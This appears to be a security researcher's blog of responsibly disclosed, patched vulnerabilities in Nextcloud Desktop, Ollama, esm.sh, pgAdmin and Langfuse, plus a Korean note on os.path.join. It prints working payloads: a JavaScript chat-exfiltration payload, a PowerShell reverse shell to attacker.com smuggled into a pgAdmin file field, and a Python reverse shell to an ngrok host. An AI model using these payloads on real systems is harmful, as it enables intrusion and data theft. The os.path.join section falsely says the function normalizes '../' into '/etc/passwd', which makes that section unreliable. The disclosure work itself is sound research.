Py0zz1 W0r1d

NextCloud Desktop, Credential Disclosure via Unvalidated directDownloadUrl

pyozzi — Tue, 14 Apr 2026 01:58:42 +0900

Nextcloud disclosed on HackerOne: Credential Disclosure via...

hackerone.com

The Nextcloud Desktop Client automatically includes user credentials (Authorization header with username:password in Base64) when downloading files via the directDownloadUrl feature. A malicious Nextcloud server can exploit this by setting directDownloadUrl to an attacker-controlled URL, causing the client to leak credentials to the attacker's server.

Root Cause: The client fails to validate the origin of directDownloadUrl and does not set DontAddCredentialsAttribute for cross-origin requests, allowing HttpCredentialsAccessManager to automatically inject Authorization headers to any URL specified by the server, including attacker-controlled domains.

---

- nextcloud desktop에서 파일 다운로드할 때, cross-origin으로 Authorization 헤더가 제거되지 않고 전달되는 취약점

- nextcloud는 cliend side e2ee(end-to-end-encryption)를 지원함(서버도 임의 열람 불가)

- 공격자는 탈취한 크레덴셜로 암호화되어 저장된 민감 데이터를 임의로 read/wrtie할 수 있음

Ollama, Javascript Injection via Deeplink

pyozzi — Mon, 23 Mar 2026 03:04:24 +0900

https://huntr.com/bounties/d515f43a-c9d9-4e7b-95f6-e05516717f2a

huntr - The world’s first bug bounty platform for AI/ML

huntr.com

// app/cmd/app/webview.go:468-472
} else {
    w.webview.Eval(fmt.Sprintf(`
        history.pushState({}, '', '%s');
    `, path))
    showWindow(w.webview.Window())
}

1. ollama:// 딥링크에서 경로를 sanitize 하지 않고 Eval()에 사용함

2. 때문에 ollama webview 위에서 임의의 자바스크립트 실행 가능

3. ollama는 로컬에 11434로 웹서버를 띄워서 api를 제공함

4. JS로 로컬 chat api를 찔러서 지난 채팅기록 모두 가져오기 가능, 계정 토큰 가져올 수 있음

ollama:///x');var data={chats:[]};fetch('//127.0.0.1:'+location.port+'/api/v1/chats').then(r=>r.json()).then(result=>{var chatPromises=result.chatInfos.map(c=>fetch('//127.0.0.1:'+location.port+'/api/v1/chat/'+c.id).then(r=>r.json()));return Promise.all(chatPromises)}).then(fullChats=>{data.chats=fullChats;navigator.sendBeacon('//REDACTED/full',JSON.stringify(data));});/////////

LLM 서비스 취약점 분석 자동화 #2

pyozzi — Mon, 23 Mar 2026 02:56:01 +0900

https://toss.tech/article/vulnerability-analysis-automation-2

LLM을 이용한 서비스 취약점 분석 자동화 #2

보안 분석가라면 누구나 한 번쯤 상상했을 ‘해줘’로 취약점 찾기. 그 경험을 공유해 드립니다.

toss.tech

LLM 서비스 취약점 분석 자동화 #1

pyozzi — Thu, 25 Dec 2025 20:46:55 +0900

https://toss.tech/article/vulnerability-analysis-automation-1

LLM을 이용한 서비스 취약점 분석 자동화 #1

보안 분석가라면 누구나 한 번쯤 상상했을 ‘해줘’로 취약점 찾기. 그 경험을 공유해 드립니다.

toss.tech

Arbitrary file write via tarslip in esm.sh (CVE-2025-65025)

pyozzi — Wed, 19 Nov 2025 07:09:18 +0900

https://github.com/esm-dev/esm.sh/security/advisories/GHSA-h3mw-4f23-gwpw

Arbitrary file write via tarslip

### Summary The esm.sh CDN service is vulnerable to a Path Traversal (CWE-22) vulnerability during NPM package tarball extraction. An attacker can craft a malicious NPM package containing speci...

github.com

JS Template Literal Injection in esm.sh (CVE-2025-65026)

pyozzi — Wed, 19 Nov 2025 07:06:29 +0900

https://github.com/esm-dev/esm.sh/security/advisories/GHSA-hcpf-qv9m-vfgp

JS Template Literal Injection in CSS-to-JavaScript

### Summary The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature. When a CSS file is requested with the `?modu...

github.com

Command Injection in pgAdmin for Windows (CVE-2025-12763)

pyozzi — Wed, 19 Nov 2025 00:10:12 +0900

Summary

Command Injection vulnerability occurs in pgAdmin4 running on Windows environment due to the use of shell=True parameter in subprocess.Popen() when executing backup/restore processes. Attackers can execute arbitrary system commands through file path input.

Details

Reproduce step:

1.Login to pgAdmin4 on Windows environment
2.Connect to a database server
3.Select Restore function
4.Send the following body to POST /restore/job/<server_id> endpoint:

{
    "file": "backup.sql & calc.exe",
    "format": "custom",
    "database": "testdb"
}

5.Windows Calculator will be executed, confirming arbitrary command execution is possible

Issue Code:

web/pgadmin/misc/bgprocess/process_executor.py (Line 319-330):

def execute(argv):
    """
    This function will execute the background process
    """
    command = argv[1:]
    args = dict()

    # ... skip ...

    kwargs = dict()
    kwargs['close_fds'] = False
    kwargs['shell'] = True if _IS_WIN else False  # <-- Vulnerability: shell=True on Windows
    kwargs['env'] = os.environ.copy()

    process = Popen(
        command, stdout=PIPE, stderr=PIPE, stdin=None, **kwargs
    )

web/pgadmin/misc/bgprocess/processes.py (Line 346-354):

if os.name == 'nt':  # Windows
    DETACHED_PROCESS = 0x00000008
    from subprocess import CREATE_NEW_PROCESS_GROUP

    # ... skip ...

    p = Popen(
        cmd,  # cmd contains user input
        close_fds=False,
        env=env,
        stdout=stdout.fileno(),
        stderr=stderr.fileno(),
        stdin=stdin.fileno(),
        creationflags=(CREATE_NEW_PROCESS_GROUP | DETACHED_PROCESS)
    )

When shell=True is used on Windows, commands are executed through cmd.exe /c, which interprets shell metacharacters (&, |, ;, &&, ||). Without validation of user input, command injection is possible.

Proof of Concept (PoC) - Calculator Execution

1. Simple Command Execution (Calculator)

POST /restore/job/1
{
    "file": "C:\\backup.sql & calc.exe",
    "format": "custom",
    "database": "postgres"
}

Result: Windows Calculator is executed

2. File Creation

POST /restore/job/1
{
    "file": "backup.sql & echo HACKED > C:\\Windows\\Temp\\poc.txt",
    "format": "custom",
    "database": "postgres"
}

Result: C:\Windows\Temp\poc.txt file is created with "HACKED" content

Proof of Concept (PoC) - Reverse Shell

PowerShell Reverse Shell

POST /restore/job/1
{
    "file": "backup.sql & powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"",
    "format": "custom",
    "database": "postgres"
}

Impact

Authenticated attackers can execute arbitrary commands on Windows systems.

Remediation

In the patched version 9.10, the vulnerability was addressed by removing the shell=True option.
https://github.com/pgadmin-org/pgadmin4/commit/e374edc69239b3e02ecde895e27d9f9e488b87ee

Langfuse Server Side Request Forgery(SSRF)

pyozzi — Sun, 31 Aug 2025 01:44:51 +0900

https://github.com/langfuse/langfuse

GitHub - langfuse/langfuse: Open source LLM engineering platform: LLM Observability, metrics, evals, prompt management, pla

Open source LLM engineering platform: LLM Observability, metrics, evals, prompt management, playground, datasets. Integrates with OpenTelemetry, Langchain, OpenAI SDK, LiteLLM, and more. YC W23 ...

github.com

Patched

https://github.com/langfuse/langfuse/pull/8821

chore: validate IP adresses by maxdeichmann · Pull Request #8821 · langfuse/langfuse

ImportantAdds IP address validation to prevent SSRF attacks, integrates it into webhook processing, and includes comprehensive tests. Behavior: Adds IP address validation to prevent SSRF attacks ...

github.com

https://langfuse.com/security/responsible-disclosure#hall-of-fame

Remote Code Execution Vulnerability in pgAdmin (CVE-2025-2945)

pyozzi — Fri, 4 Apr 2025 18:19:35 +0900

Introduction

This post provides a technical explanation of a Remote Code Execution (RCE) vulnerability discovered in pgAdmin (≤9.1), a widely used administration tool for PostgreSQL databases.

To exploit this vulnerability, an authenticated user must be able to send a POST request to the pgAdmin server.
The vulnerability exists in two separate features — /sqleditor/query_tool/download</int:trans_id> and /cloud/deploy — both of which lead to RCE through the use of the eval() function.

The eval() function is a dangerous function that interprets the string argument as an expression and executes it as is. (Reference)

Vulnerability Details

The vulnerability arises from untrusted input being passed directly to the eval() function without any validation or sanitization.

/sqleditor/query_tool/download/<int:trans_id>

# https://github.com/pgadmin-org/pgadmin4/blob/REL-9_1/web/pgadmin/tools/sqleditor/__init__.py#L2124-L2160

@blueprint.route(
    '/query_tool/download/<int:trans_id>',
    methods=["POST"],
    endpoint='query_tool_download'
)
@pga_login_required
def start_query_download_tool(trans_id):
    (status, error_msg, sync_conn, trans_obj,
     session_obj) = check_transaction_status(trans_id)

    if not status or sync_conn is None or trans_obj is None or \
            session_obj is None:
        return internal_server_error(
            errormsg=TRANSACTION_STATUS_CHECK_FAILED
        )

    data = request.values if request.values else request.get_json(silent=True)
    if data is None:
        return make_json_response(
            status=410,
            success=0,
            errormsg=gettext(
                "Could not find the required parameter (query)."
            )
        )

    try:
        sql = None
        query_commited = data.get('query_commited', False)
        # Iterate through CombinedMultiDict to find query.
        for key, value in data.items():
            if key == 'query':
                sql = value
            if key == 'query_commited':
                query_commited = (
                    eval(value) if isinstance(value, str) else value # vuln code
                )

In the case of /sqleditor/query_tool/download/{int:trans_id}, the vulnerable code shows that if the value received via the query_committed parameter is of type str, it is directly passed into the eval() function.

POST /sqleditor/query_tool/download/9907078 HTTP/1.1
Host: localhost:8088
Content-Type: application/json

{
    "query": "SELECT 1;",
    "query_commited": "open('/tmp/pyozzi-poc', 'w')"
}

As a result, an attacker can execute arbitrary Python code by sending a crafted POST request to the vulnerable endpoint.

/cloud/deploy

# https://github.com/pgadmin-org/pgadmin4/blob/REL-9_1/web/pgacloud/providers/google.py#L140

def _create_google_postgresql_instance(self, args):
        credentials = self._get_credentials(self._scopes)
        service = discovery.build('sqladmin', 'v1beta4',
                                  credentials=credentials)
        high_availability = \
            'REGIONAL' if eval(args.high_availability) else 'ZONAL' # vuln code

        db_password = self._database_password \
            if self._database_password is not None else args.db_password

        ip = args.public_ip if args.public_ip else '{}/32'.format(get_my_ip())
        authorized_networks = self.get_authorized_network_list(ip)

        database_instance_body = {
            'databaseVersion': args.db_version,
            'instanceType': 'CLOUD_SQL_INSTANCE',
            'project': args.project,
            'name': args.name,
            'region': args.region,
            'gceZone': args.availability_zone,
            'secondaryGceZone': args.secondary_availability_zone,
            "rootPassword": db_password,
            'settings': {
                'tier': args.instance_type,
                'availabilityType': high_availability,
                'dataDiskType': args.storage_type,
                'dataDiskSizeGb': args.storage_size,
                'ipConfiguration': {
                    "authorizedNetworks": authorized_networks,
                    'ipv4Enabled': True
                },
            }
        }

At the /cloud/deploy endpoint, the vulnerability occurs when the high_availability parameter is passed directly to the eval() function.

An attacker can gain a reverse shell by supplying the following input:

exec('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.tcp.jp.ngrok.io",17477));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])')

Once the reverse shell is established, the attacker gains access to all server resources with the privileges of the pgAdmin process.

From there, the attacker can carry out further exploitation through scenarios such as the following:

1. Database Access & Manipulation
The attacker can access, modify, or exfiltrate sensitive data stored in PostgreSQL databases managed by pgAdmin.

2. Lateral Movement
With access to the server, the attacker may scan the internal network to find and compromise other systems.

3. Credential Theft
Configuration files and environment variables may contain hardcoded credentials, API keys, or tokens that can be extracted and reused.

4. Privilege Escalation
If the pgAdmin process is running with elevated privileges, the attacker may exploit local vulnerabilities to escalate privileges to root.

5. Persistence
The attacker can install backdoors, create scheduled tasks, or modify startup scripts to maintain long-term access.

Remediation

In the patched version 9.2, the vulnerability was addressed by removing the use of the eval() function.
https://github.com/pgadmin-org/pgadmin4/commit/75be0bc22d3d8d7620711835db817bd7c021007c

patch diff

Personally, when I discovered the vulnerability, I couldn't help but wonder — "Why would they use eval() here...?"

Because as you can see from the code, the business logic could have been fully implemented without using eval() at all.

I reported the issue to security@pgadmin.org, recommending that the business logic be implemented without relying on the eval() function.

The pgAdmin team responded quickly — they reviewed the report and released a patch for the vulnerability in under 24 hours. :)

Disclosure Timeline

[16 Mar 2025]:
vulnerability report sent via email to security@pgadmin.org.

[17 Mar 2025]:

[PGAdmin Team] Acknowledges the vulnerability

[18 Mar 2025]:

[PGAdmin Team] Announced that the patch is complete and will be included in the next release.

[27 Mar 2025]:
[PGAdmin Team] Opens an issue on GitHub. https://github.com/pgadmin-org/pgadmin4/issues/8603

[3 Apr 2025]:
[PGAdmin Team] releases new update with the fix. https://www.pgadmin.org/docs/pgadmin4/9.2/release_notes_9_2.html

[PGAdmin Team] CVE-2025-2945 was published for this vulnerability

https://nvd.nist.gov/vuln/detail/CVE-2025-2945

잘못된 os.path.join() 사용으로 인한 취약점

pyozzi — Mon, 17 Mar 2025 01:10:07 +0900

1. os.path.join()

import os

BASE_DIR = "/tmp/"
SUB_DIR = "sub_path"

full_path = os.path.join(BASE_DIR, SUB_DIR) 
print(full_path) # /tmp/sub_path

https://docs.python.org/3/library/os.path.html#os.path.join

os.path.join(path, *paths) 인자 구성을 가진 함수로, 첫번째 인자의 path를 기준으로 그 다음 인자로 오는 path를 concat해주는 함수다.
단순히 문자열을 이어붙여주는 것이 아니라 os 해석에 맞게 normalize 해준다.

import os

BASE_DIR = "/tmp"
SUB_DIR = "../etc/passwd"

full_path = os.path.join(BASE_DIR, SUB_DIR)
print(full_path) # /etc/passwd

../와 같이 상위 디렉토리로 이동하는 문자열을 입력하면 결과로 상위 디렉터리로 이동된 결과가 나온다.

때문에, os.path.join()을 검증없이 사용하는 경우 path traversal 취약점이 발생하게 된다.

2. abs_path + abs_path = ??

import os

BASE_DIR = "/tmp/"
SUB_DIR = "/etc/passwd"

full_path = os.path.join(BASE_DIR, SUB_DIR) 
print(full_path) # ???

그럼 위와 같이 BASE_DIR, SUB_DIR 모두 절대경로로 지정하면 결과는 어떻게 될까?
단순 concat으로만 알고 있다면, /tmp//etc/passwd정도로만 유추할 수 있을 것이다.

실행 결과

실제로 실행해보면 결과는 /etc/passwd로 SUB_DIR이 BASE_DIR을 덮어쓰게 된다.

os.path.join() docs

세그먼트가 절대경로일 경우, 이전 세그먼트는 모두 무시되고 해당 세그먼트부터 경로가 이어집니다.

공식 문서에서도 살펴보면 절대 경로인 경우 이전 경로는 무시된다고 기술되어 있다.